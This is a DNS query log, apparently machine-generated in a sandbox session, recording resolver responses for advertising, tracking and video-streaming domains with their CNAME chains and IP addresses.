May 25, 2024 00:46:25.955023050 CEST	1.1.1.1	192.168.2.6	0x2c60	No error (0)	tagr-pixel-nginx-odr-euw4.mookie1.com		34.160.236.64	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.959927082 CEST	1.1.1.1	192.168.2.6	0x24ab	No error (0)	odr.mookie1.com	tagr-pixel-nginx-odr-euw4.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.466516018 CEST	1.1.1.1	192.168.2.6	0xc96a	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.466516018 CEST	1.1.1.1	192.168.2.6	0xc96a	No error (0)	image2v2.pubmnet.com	pug-ams-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.466516018 CEST	1.1.1.1	192.168.2.6	0xc96a	No error (0)	pug-ams-bc.pubmnet.com		198.47.127.205	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.466552973 CEST	1.1.1.1	192.168.2.6	0x3391	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.466552973 CEST	1.1.1.1	192.168.2.6	0x3391	No error (0)	image2v2.pubmnet.com	pug-ams-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.496052980 CEST	1.1.1.1	192.168.2.6	0x1305	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.496083975 CEST	1.1.1.1	192.168.2.6	0xfebf	No error (0)	loadus.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.496083975 CEST	1.1.1.1	192.168.2.6	0xfebf	No error (0)	loadus.tm.ssl.exelator.com	eu-west.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.496083975 CEST	1.1.1.1	192.168.2.6	0xfebf	No error (0)	eu-west.load.exelator.com	load-euw1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.496083975 CEST	1.1.1.1	192.168.2.6	0xfebf	No error (0)	load-euw1.exelator.com		54.78.254.47	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.496113062 CEST	1.1.1.1	192.168.2.6	0x309e	No error (0)	loadus.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.496113062 CEST	1.1.1.1	192.168.2.6	0x309e	No error (0)	loadus.tm.ssl.exelator.com	eu-west.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.496113062 CEST	1.1.1.1	192.168.2.6	0x309e	No error (0)	eu-west.load.exelator.com	load-euw1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.497371912 CEST	1.1.1.1	192.168.2.6	0x205e	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.507805109 CEST	1.1.1.1	192.168.2.6	0x1e28	No error (0)	lciapi.ninthdecimal.com	prod-lciapi.aws.9dev.io		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.507805109 CEST	1.1.1.1	192.168.2.6	0x1e28	No error (0)	prod-lciapi.aws.9dev.io		54.211.255.43	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.507805109 CEST	1.1.1.1	192.168.2.6	0x1e28	No error (0)	prod-lciapi.aws.9dev.io		34.196.124.244	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.507805109 CEST	1.1.1.1	192.168.2.6	0x1e28	No error (0)	prod-lciapi.aws.9dev.io		54.81.138.173	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.507805109 CEST	1.1.1.1	192.168.2.6	0x1e28	No error (0)	prod-lciapi.aws.9dev.io		18.235.144.32	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.507842064 CEST	1.1.1.1	192.168.2.6	0x3f99	No error (0)	lciapi.ninthdecimal.com	prod-lciapi.aws.9dev.io		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.689599037 CEST	1.1.1.1	192.168.2.6	0x5768	No error (0)	lm.serving-sys.com	lm.eyeblaster.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.689599037 CEST	1.1.1.1	192.168.2.6	0x5768	No error (0)	aka-lm-fr.ads.sizmdx.com	adserver-logmodule-prod-nlb-v17-49f63daf8a61d3c8.elb.eu-central-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.689599037 CEST	1.1.1.1	192.168.2.6	0x5768	No error (0)	adserver-logmodule-prod-nlb-v17-49f63daf8a61d3c8.elb.eu-central-1.amazonaws.com		52.28.91.150	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.689599037 CEST	1.1.1.1	192.168.2.6	0x5768	No error (0)	adserver-logmodule-prod-nlb-v17-49f63daf8a61d3c8.elb.eu-central-1.amazonaws.com		3.77.62.68	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.689599037 CEST	1.1.1.1	192.168.2.6	0x5768	No error (0)	adserver-logmodule-prod-nlb-v17-49f63daf8a61d3c8.elb.eu-central-1.amazonaws.com		18.196.77.193	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.689611912 CEST	1.1.1.1	192.168.2.6	0x4bf8	No error (0)	lm.serving-sys.com	lm.eyeblaster.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.689611912 CEST	1.1.1.1	192.168.2.6	0x4bf8	No error (0)	aka-lm-fr.ads.sizmdx.com	adserver-logmodule-prod-nlb-v17-49f63daf8a61d3c8.elb.eu-central-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:26.967300892 CEST	1.1.1.1	192.168.2.6	0xec60	No error (0)	crb.kargo.com		18.199.24.49	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.967300892 CEST	1.1.1.1	192.168.2.6	0xec60	No error (0)	crb.kargo.com		18.193.40.232	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.967300892 CEST	1.1.1.1	192.168.2.6	0xec60	No error (0)	crb.kargo.com		18.158.80.108	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	sync-amazon.ads.yieldmo.com	sync.ads.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	sync.ads.yieldmo.com	eu-west-1-sync.ads.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	eu-west-1-sync.ads.yieldmo.com	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com		34.240.251.94	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com		54.76.5.210	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com		54.78.106.82	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com		52.209.229.240	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com		52.19.175.6	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.011570930 CEST	1.1.1.1	192.168.2.6	0x8d63	No error (0)	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com		54.217.169.137	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.012124062 CEST	1.1.1.1	192.168.2.6	0x4ae8	No error (0)	sync-amazon.ads.yieldmo.com	sync.ads.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:27.012124062 CEST	1.1.1.1	192.168.2.6	0x4ae8	No error (0)	sync.ads.yieldmo.com	eu-west-1-sync.ads.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:27.012124062 CEST	1.1.1.1	192.168.2.6	0x4ae8	No error (0)	eu-west-1-sync.ads.yieldmo.com	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:27.665221930 CEST	1.1.1.1	192.168.2.6	0x193	No error (0)	sync.taboola.com	am-vip001.taboola.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:27.665221930 CEST	1.1.1.1	192.168.2.6	0x193	No error (0)	am-vip001.taboola.com		141.226.228.48	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.665236950 CEST	1.1.1.1	192.168.2.6	0xda14	No error (0)	sync.taboola.com	am-vip001.taboola.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:28.010082006 CEST	1.1.1.1	192.168.2.6	0xc684	No error (0)	x.bidswitch.net	user-data-eu.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:28.010082006 CEST	1.1.1.1	192.168.2.6	0xc684	No error (0)	user-data-eu.bidswitch.net		35.214.149.91	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:28.010097027 CEST	1.1.1.1	192.168.2.6	0xf319	No error (0)	x.bidswitch.net	user-data-eu.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:28.360615969 CEST	1.1.1.1	192.168.2.6	0x3a31	No error (0)	public-prod-dspcookiematching.dmxleo.com		188.65.124.66	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:28.474235058 CEST	1.1.1.1	192.168.2.6	0xcd9a	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:28.474245071 CEST	1.1.1.1	192.168.2.6	0xfbee	No error (0)	ads.stickyadstv.com	ip1.ads.stickyadstv.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:28.564687967 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	sync.rfp.fout.jp		35.186.196.148	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.137526989 CEST	1.1.1.1	192.168.2.6	0xa904	Name error (3)	beacon.krxd.net	none	none	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.137561083 CEST	1.1.1.1	192.168.2.6	0xdb7	Name error (3)	beacon.krxd.net	none	none	65	IN (0x0001)	false
May 25, 2024 00:46:29.156913042 CEST	1.1.1.1	192.168.2.6	0x22f7	Name error (3)	beacon.krxd.net	none	none	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match.sharethrough.com	match-eu-central-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.195.126.233	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match-eu-central-1-ecs.sharethrough.com		52.29.54.89	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.158.171.68	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.197.199.178	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.158.126.136	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match-eu-central-1-ecs.sharethrough.com		18.159.229.46	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match-eu-central-1-ecs.sharethrough.com		3.120.79.213	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403383970 CEST	1.1.1.1	192.168.2.6	0xabbd	No error (0)	match-eu-central-1-ecs.sharethrough.com		3.67.74.124	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.403395891 CEST	1.1.1.1	192.168.2.6	0xc959	No error (0)	match.sharethrough.com	match-eu-central-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:29.501898050 CEST	1.1.1.1	192.168.2.6	0x9214	No error (0)	sync.rfp.fout.jp		35.186.196.148	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.555393934 CEST	1.1.1.1	192.168.2.6	0xa22f	No error (0)	public-prod-dspcookiematching.dmxleo.com		188.65.124.66	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.791071892 CEST	1.1.1.1	192.168.2.6	0x4db9	Name error (3)	usermatch.krxd.net	none	none	65	IN (0x0001)	false
May 25, 2024 00:46:29.791165113 CEST	1.1.1.1	192.168.2.6	0x6f89	Name error (3)	usermatch.krxd.net	none	none	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.809196949 CEST	1.1.1.1	192.168.2.6	0x4916	Name error (3)	usermatch.krxd.net	none	none	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.862215042 CEST	1.1.1.1	192.168.2.6	0xf936	No error (0)	sb.scorecardresearch.com		18.65.39.70	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.862215042 CEST	1.1.1.1	192.168.2.6	0xf936	No error (0)	sb.scorecardresearch.com		18.65.39.29	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.862215042 CEST	1.1.1.1	192.168.2.6	0xf936	No error (0)	sb.scorecardresearch.com		18.65.39.56	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.862215042 CEST	1.1.1.1	192.168.2.6	0xf936	No error (0)	sb.scorecardresearch.com		18.65.39.28	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:30.265497923 CEST	1.1.1.1	192.168.2.6	0xa907	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:30.265497923 CEST	1.1.1.1	192.168.2.6	0xa907	No error (0)	uip.semasio.net		77.243.51.122	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:30.265497923 CEST	1.1.1.1	192.168.2.6	0xa907	No error (0)	uip.semasio.net		77.243.51.121	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:30.265516996 CEST	1.1.1.1	192.168.2.6	0xed37	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:30.713387012 CEST	1.1.1.1	192.168.2.6	0xa3b8	No error (0)	usersync.gumgum.com		34.247.233.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:30.713387012 CEST	1.1.1.1	192.168.2.6	0xa3b8	No error (0)	usersync.gumgum.com		52.210.15.1	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:30.713387012 CEST	1.1.1.1	192.168.2.6	0xa3b8	No error (0)	usersync.gumgum.com		34.247.205.196	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:31.162026882 CEST	1.1.1.1	192.168.2.6	0xc26a	No error (0)	pi.ispot.tv	j.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:31.175198078 CEST	1.1.1.1	192.168.2.6	0xb030	No error (0)	pi.ispot.tv	j.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:31.225034952 CEST	1.1.1.1	192.168.2.6	0x8879	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:31.225034952 CEST	1.1.1.1	192.168.2.6	0x8879	No error (0)	image6v2.pubmnet.com	pugm-lhrc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:31.225049973 CEST	1.1.1.1	192.168.2.6	0x2be1	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:31.225049973 CEST	1.1.1.1	192.168.2.6	0x2be1	No error (0)	image6v2.pubmnet.com	pugm-amsfpairbc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:31.225049973 CEST	1.1.1.1	192.168.2.6	0x2be1	No error (0)	pugm-amsfpairbc.pubmnet.com		198.47.127.19	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:31.327353001 CEST	1.1.1.1	192.168.2.6	0x9151	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	idaas-ext.cph.liveintent.com		54.242.45.75	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	idaas-ext.cph.liveintent.com		34.203.21.209	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	idaas-ext.cph.liveintent.com		18.233.140.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	idaas-ext.cph.liveintent.com		54.147.122.146	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	idaas-ext.cph.liveintent.com		54.204.82.154	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	idaas-ext.cph.liveintent.com		34.236.212.190	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	idaas-ext.cph.liveintent.com		18.235.49.225	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490040064 CEST	1.1.1.1	192.168.2.6	0x9f8c	No error (0)	idaas-ext.cph.liveintent.com		54.224.34.93	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.490056992 CEST	1.1.1.1	192.168.2.6	0xd76f	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:32.529603004 CEST	1.1.1.1	192.168.2.6	0x2ee5	No error (0)	dmp.truoptik.com		104.17.127.254	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.529603004 CEST	1.1.1.1	192.168.2.6	0x2ee5	No error (0)	dmp.truoptik.com		104.17.111.254	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.529603004 CEST	1.1.1.1	192.168.2.6	0x2ee5	No error (0)	dmp.truoptik.com		104.18.80.52	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.529603004 CEST	1.1.1.1	192.168.2.6	0x2ee5	No error (0)	dmp.truoptik.com		104.17.208.58	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.529603004 CEST	1.1.1.1	192.168.2.6	0x2ee5	No error (0)	dmp.truoptik.com		104.16.192.58	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.529618979 CEST	1.1.1.1	192.168.2.6	0x8bf	No error (0)	dmp.truoptik.com			65	IN (0x0001)	false
May 25, 2024 00:46:36.196594000 CEST	1.1.1.1	192.168.2.6	0xd65d	No error (0)	players.brightcove.net	players.brightcove.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:36.201550007 CEST	1.1.1.1	192.168.2.6	0x2dc8	No error (0)	players.brightcove.net	players.brightcove.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:41.036412954 CEST	1.1.1.1	192.168.2.6	0xcad9	No error (0)	edge.api.brightcove.com	brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:41.036412954 CEST	1.1.1.1	192.168.2.6	0xcad9	No error (0)	brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.036412954 CEST	1.1.1.1	192.168.2.6	0xcad9	No error (0)	brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.036412954 CEST	1.1.1.1	192.168.2.6	0xcad9	No error (0)	brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.036412954 CEST	1.1.1.1	192.168.2.6	0xcad9	No error (0)	brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.036453962 CEST	1.1.1.1	192.168.2.6	0x96f4	No error (0)	edge.api.brightcove.com	brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:41.060430050 CEST	1.1.1.1	192.168.2.6	0x8038	No error (0)	vjs.zencdn.net	dualstack.osff.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:41.060430050 CEST	1.1.1.1	192.168.2.6	0x8038	No error (0)	dualstack.osff.map.fastly.net		151.101.66.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.060430050 CEST	1.1.1.1	192.168.2.6	0x8038	No error (0)	dualstack.osff.map.fastly.net		151.101.130.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.060430050 CEST	1.1.1.1	192.168.2.6	0x8038	No error (0)	dualstack.osff.map.fastly.net		151.101.194.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.060430050 CEST	1.1.1.1	192.168.2.6	0x8038	No error (0)	dualstack.osff.map.fastly.net		151.101.2.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.060458899 CEST	1.1.1.1	192.168.2.6	0x219b	No error (0)	metrics.brightcove.com		35.244.232.184	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:41.060486078 CEST	1.1.1.1	192.168.2.6	0x40b0	No error (0)	vjs.zencdn.net	dualstack.osff.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:43.213258982 CEST	1.1.1.1	192.168.2.6	0x9e7e	No error (0)	brightcove.hs.llnwd.net		41.63.96.0	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.235415936 CEST	1.1.1.1	192.168.2.6	0x73f2	No error (0)	cf-images.us-east-1.prod.boltdns.net	cf-images.us-east-1.prod-a.boltdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:43.235415936 CEST	1.1.1.1	192.168.2.6	0x73f2	No error (0)	cf-images.us-east-1.prod-a.boltdns.net	dh29jf0q5erm3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:43.244307041 CEST	1.1.1.1	192.168.2.6	0xdc4	No error (0)	cf-images.us-east-1.prod.boltdns.net	cf-images.us-east-1.prod-a.boltdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:43.244307041 CEST	1.1.1.1	192.168.2.6	0xdc4	No error (0)	cf-images.us-east-1.prod-a.boltdns.net	dh29jf0q5erm3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:43.244307041 CEST	1.1.1.1	192.168.2.6	0xdc4	No error (0)	dh29jf0q5erm3.cloudfront.net		18.239.69.67	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.244307041 CEST	1.1.1.1	192.168.2.6	0xdc4	No error (0)	dh29jf0q5erm3.cloudfront.net		18.239.69.46	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.244307041 CEST	1.1.1.1	192.168.2.6	0xdc4	No error (0)	dh29jf0q5erm3.cloudfront.net		18.239.69.39	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.244307041 CEST	1.1.1.1	192.168.2.6	0xdc4	No error (0)	dh29jf0q5erm3.cloudfront.net		18.239.69.103	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.340753078 CEST	1.1.1.1	192.168.2.6	0x9bf5	No error (0)	metrics.brightcove.com		35.244.232.184	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.364749908 CEST	1.1.1.1	192.168.2.6	0x8c3c	No error (0)	edge.api.brightcove.com	brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:43.364749908 CEST	1.1.1.1	192.168.2.6	0x8c3c	No error (0)	brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.364749908 CEST	1.1.1.1	192.168.2.6	0x8c3c	No error (0)	brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.364749908 CEST	1.1.1.1	192.168.2.6	0x8c3c	No error (0)	brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.364749908 CEST	1.1.1.1	192.168.2.6	0x8c3c	No error (0)	brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:43.364767075 CEST	1.1.1.1	192.168.2.6	0x9b6c	No error (0)	edge.api.brightcove.com	brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:44.359450102 CEST	1.1.1.1	192.168.2.6	0x548a	No error (0)	manifest.prod.boltdns.net	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:44.359462023 CEST	1.1.1.1	192.168.2.6	0x49fc	No error (0)	manifest.prod.boltdns.net	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:44.359462023 CEST	1.1.1.1	192.168.2.6	0x49fc	No error (0)	dualstack.brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.359462023 CEST	1.1.1.1	192.168.2.6	0x49fc	No error (0)	dualstack.brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.359462023 CEST	1.1.1.1	192.168.2.6	0x49fc	No error (0)	dualstack.brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.359462023 CEST	1.1.1.1	192.168.2.6	0x49fc	No error (0)	dualstack.brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.759289026 CEST	1.1.1.1	192.168.2.6	0x92dd	No error (0)	cf-images.us-east-1.prod.boltdns.net	cf-images.us-east-1.prod-a.boltdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:44.759289026 CEST	1.1.1.1	192.168.2.6	0x92dd	No error (0)	cf-images.us-east-1.prod-a.boltdns.net	dh29jf0q5erm3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:44.759321928 CEST	1.1.1.1	192.168.2.6	0xcfaf	No error (0)	cf-images.us-east-1.prod.boltdns.net	cf-images.us-east-1.prod-a.boltdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:44.759321928 CEST	1.1.1.1	192.168.2.6	0xcfaf	No error (0)	cf-images.us-east-1.prod-a.boltdns.net	dh29jf0q5erm3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:44.759321928 CEST	1.1.1.1	192.168.2.6	0xcfaf	No error (0)	dh29jf0q5erm3.cloudfront.net		99.86.91.72	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.759321928 CEST	1.1.1.1	192.168.2.6	0xcfaf	No error (0)	dh29jf0q5erm3.cloudfront.net		99.86.91.62	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.759321928 CEST	1.1.1.1	192.168.2.6	0xcfaf	No error (0)	dh29jf0q5erm3.cloudfront.net		99.86.91.129	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:44.759321928 CEST	1.1.1.1	192.168.2.6	0xcfaf	No error (0)	dh29jf0q5erm3.cloudfront.net		99.86.91.23	A (IP address)	IN (0x0001)	false
